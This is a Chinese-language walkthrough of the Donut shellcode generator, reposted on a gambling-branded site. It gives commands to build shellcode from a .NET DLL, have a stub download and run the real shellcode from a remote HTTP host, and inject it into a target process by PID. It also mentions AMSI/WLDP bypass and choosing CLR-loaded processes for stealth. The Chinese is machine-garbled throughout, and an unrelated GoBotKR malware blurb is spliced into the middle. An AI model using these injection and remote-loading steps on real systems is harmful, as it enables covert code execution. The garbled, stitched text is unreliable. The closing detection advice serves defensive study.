Shellcode天生东西Donut测试剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Shellcode天生东西Donut测试剖析

申博_安全工具 申博 57次浏览 未收录 0个评论

0x00 媒介

Donut是一个shellcode天生东西,可以将.NET顺序集转换为shellcode。这是对execute-assembly的进一步应用,隐藏性更高,可扩大性更强。

连系byt3bl33d3r的SILENTTRINITY,将其转换为shellcode并举行注入,适用性更广。

本文将会对Donut举行测试,逐一剖析Donut工程中的代码,总结这个东西的特性。

注:本文测试的版本运用的是Donut v0.9,新版本将会增添更多的功用,值得延续关注

0x01 简介

本文将要引见以下内容:

· 相干手艺引见

· 源码构造

· 现实测试

· 应用剖析

0x02 相干手艺引见

1.Assembly.Load

用于在当前历程中加载.NET顺序集,没法注入其他历程。

.NET顺序集的测试代码:

namespace ConsoleApplication1
{
    public class Program
    {
        public static void test()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";  
            p.Start();
        }
        static void Main(string[] args)
        {
            test();
        }   
    }
}

加载这个.NET顺序集的时刻会弹出盘算器,用作考证功用。

(1)Powershell完成Assembly.Load

$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication1.Program]::test()

注:可参考之前的文章《应用Assembly Load & LoadFile绕过Applocker的剖析总结》

(2)C#完成Assembly.Load

https://github.com/anthemtotheego/SharpCradle

代码完成了从长途服务器下载.NET顺序集并经由历程Assembly.Load举行加载。

2.execute-assembly

从内存中加载.NET顺序集,可以以dll的情势注入到其他历程中。

注:可参考之前的文章《从内存加载.NET顺序集(execute-assembly)的应用剖析》

全部历程在内存实行,不写入文件体系(此时注入dll须要运用Dll反射)。

Payload以dll情势存在,不会发生可疑的历程。

注:假如运用Loadlibrary加载dll,dll必需写入文件体系。

3.Donut

基于execute-assembly,以shellcode的情势完成从内存中加载.NET顺序集。

长处是注入到其他历程时不再依赖于Dll反射,更隐藏,更易于扩大。

更隐藏是指注入其他历程时不会存在dll。

更易于扩大是指可以实行shellcode的要领都可以运用Donut,基于Donut的二次开辟也很轻易。

0x03 源码构造

针对0.9版本的文件

1、子项目

1.DemoCreateProcess

https://github.com/TheWover/donut/tree/master/DemoCreateProcess

c#顺序,编译后天生文件ClassLibrary.dll,功用为将传入的两个参数作为启动历程。

可经由历程Donut将其转换成shellcode,用作测试Donut天生shellcode的功用是不是有用。

2.DonutTest

https://github.com/TheWover/donut/tree/master/DonutTest

c#顺序,编译后天生文件DonutTest.exe,用于向指定pid的历程注入shellcode。

完成细节:

数组中保留base64加密后的shellcode,解密后经由历程CreateRemoteThread注入到指定历程。

3.rundotnet.cpp

https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp

c顺序,编译后的文件为rundotnet.exe,用于读取指定文件并运用CLR从内存加载.NET顺序集。

从内存加载.NET顺序集运用的要领:

· 运用当前体系中最新版本的.Net

· 运用ICorRuntimeHost接口

· 运用Load_3(…)从内存中读取并加载.NET顺序集的Main要领

4.ModuleMonitor

https://github.com/TheWover/donut/tree/master/ModuleMonitor

运用WMI事宜Win32_ModuleLoadTrace来看管模块加载,假如发明CLR注入,将会标记。

WMI事宜Win32_ModuleLoadTrace:

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace

顺序中推断CLR注入的要领:

假如历程加载了CLR,但顺序不是.NET顺序集,则CLR已注入个中。

顺序中推断历程加载CLR的要领:

历程是不是加载了与CLR相干的dll(mscoree.dll,mscoreei.dll和mscorlib.dll),dll以”msco”开首。

这个工程平常是作防备检测用,用来检测体系是不是发生了CLR注入事宜,所以在启动后历程会一向实行,及时纪录体系加载新模块的事宜。

这个处所运用tasklist.exe也能完成相似的功用,敕令以下:

tasklist /m msco*

可以取得哪些历程挪用了以”msco”开首的dll。

5.ProcessManager

https://github.com/TheWover/donut/tree/master/ProcessManager

用于罗列当前盘算机或长途盘算机上的历程。

同tasklist.exe的功用相似,增添以下功用:

· 推断历程权限

· 推断历程位数(32位照样64位)

· 推断历程是不是加载CLR

2、组件

1.https://github.com/TheWover/donut/blob/master/payload/payload.c

Donut的症结功用,完成以下操纵:

(1)取得shellcode并解密

供应两种体式格局:

· 从payload.h读取shellcode息争密密钥

· 从HTTP服务器下载shellcode息争密密钥

(2)运用CLR从内存加载.NET顺序集

警惕伪装成韩剧Torrent种子的恶意软件:GoBotKR恶意软件分析

概述 广大韩剧迷应该留意,目前存在通过Torrent种子传播的恶意软件,这些恶意软件以韩国电影和电视节目作为幌子,允许攻击者将受感染的计算机连接到僵尸网络,并对其进行远程控制。 该恶意软件是名为GoBot2的公开后门的修改版本。攻击者对源代码的修改主要是针对韩国的特定规避技术,在本文中对这些技术进行了详细分析。由于该恶意活动明确针对韩国,因此我们将其称为Win64/GoBot2变种GoBotKR。 根据ESET的遥测,GoBotKR自2018年3月以来一直活跃。恶意软件检测数量达到数百个,韩国受到的影响最大(80%),其次是中

· 挪用ICLRMetaHost::GetRuntime要领猎取ICLRRuntimeInfo指针

· 运用ICorRuntimeHost接口

· 尝试封闭AMSI和WLDP

· 运用Load_3(…)从内存中读取

注:

引见封闭AMSI和WLDP的细节:

How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code

值得注意的处所:

通常情况下,运用ICorRuntimeHost接口时须要挪用mscorlib.tlb

这里并没有运用mscorlib.tlb,是经由历程手动定义的体式格局完成。

更多细节可参考:

Shellcode: Loading .NET Assemblies From Memory

2.https://github.com/TheWover/donut/tree/master/payload/exe2h

用来将exe转换为shellcode并保留到数组中。

从payload.exe中的.text段中提取已编译的机器码(包含dll息争密密钥),将其作为数组保留到payload_exe_x64.h或payload_exe_x86.h。

3.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h

存储64位的机器码(包含dll息争密密钥)。

4.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h

存储32位的机器码(包含dll息争密密钥)。

5.https://github.com/TheWover/donut/blob/master/payload/inject.c

运用RtlCreateUserThread向指定历程注入shellcode。

可用作测试向指定历程注入shellcode的功用。

6.https://github.com/TheWover/donut/blob/master/payload/runsc.c

C/S架构,两个功用,可以发送和吸收shellcode并实行。

用于测试payload.bin的功用。

7.https://github.com/TheWover/donut/blob/master/encrypt.c

对称加密的完成。

8.https://github.com/TheWover/donut/blob/master/hash.c

API Hashing,这里运用了Maru hash。

9.https://github.com/TheWover/donut/blob/master/donut.c

主顺序,用于将.NET顺序集转换成shellcode。

0x04 现实测试

1、挑选测试dll

这里运用子项目DemoCreateProcess

编译后天生文件ClassLibrary.dll

2、运用Donut天生shellcode

64位:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

32位:

donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

敕令实行后天生文件payload.bin。

假如加了-u指定URL,会再天生一个随机称号的Module文件,实例以下:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1

天生文件payload.bin和YX63F37T。

将YX63F37T上传到http://192.168.1.1。

接下来经由历程注入shellcode的体式格局实行payload.bin,payload.bin会从http://192.168.1.1/YX63F37T下载现实的shellcode并实行。

3、检察历程信息

这里运用子项目ProcessManager。

列出历程后,Managed选项假如为True,代表该历程已加载CLR。

ProcessManager支撑对指定历程举行挑选,比方只检察notepad.exe的举行信息,敕令以下:

ProcessManager.exe --name notepad

4、注入shellcode

假定目的历程为3306

(1)运用子项目DonutTest

将payload.bin作base64编码并保留在剪贴板,powershell敕令以下:

$filename = "payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

替换DonutTest工程中对应的变量,编译胜利后实行以下敕令:

DonutTest.exe 3306

(2)运用RtlCreateUserThread

https://github.com/TheWover/donut/blob/master/payload/inject.c

敕令以下:

inject.exe 3306 payload.bin

5、检测

列出加载了CLR但不是.NET顺序集的历程,敕令以下:

tasklist /m msco*

0x05 应用剖析

Donut可以将.NET顺序集转换为shellcode。

也就是说,运用C#开辟的顺序都能经由历程Donut转换成shellcode。

就现在的趋向来讲,C#开源的东西越来越多,比方:

· https://github.com/GhostPack/SharpWMI

· https://github.com/checkymander/Sharp-WMIExec

· https://github.com/jnqpblc/SharpTask

在渗入测试中,C#将会逐渐替换Powershell,Donut的应用也会是一个趋向。

Donut的应用思绪:

1.将.NET顺序集转换为shellcode,比方合营SILENTTRINITY运用 2.作为模块集成到其他东西中 3.扩大功用:支撑相似meterpreter的migrate功用。

为了更加隐藏,可以先运用ProcessManager枚举已加载CLR的历程,对其举行注入。

Donut的检测:

Donut须要运用CLR从内存中加载.NET顺序集,可采用以下要领举行检测:

· 历程不是.NET顺序集

· 历程加载了与CLR相干的dll(dll以”msco”开首)

注:

一般顺序也有能够存在这个行动。

两种检测要领:

· 运用敕令tasklist /m msco*

· 运用WMI事宜Win32_ModuleLoadTrace来看管模块加载

对满足以上前提的历程重点监控。

0x06 小结

本文对Donut举行了测试剖析,总结应用思绪,给出防备发起。Donut值得深入研究,期待Donut的新版本。

原文地点: https://www.4hou.com/technology/19123.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Shellcode天生东西Donut测试剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址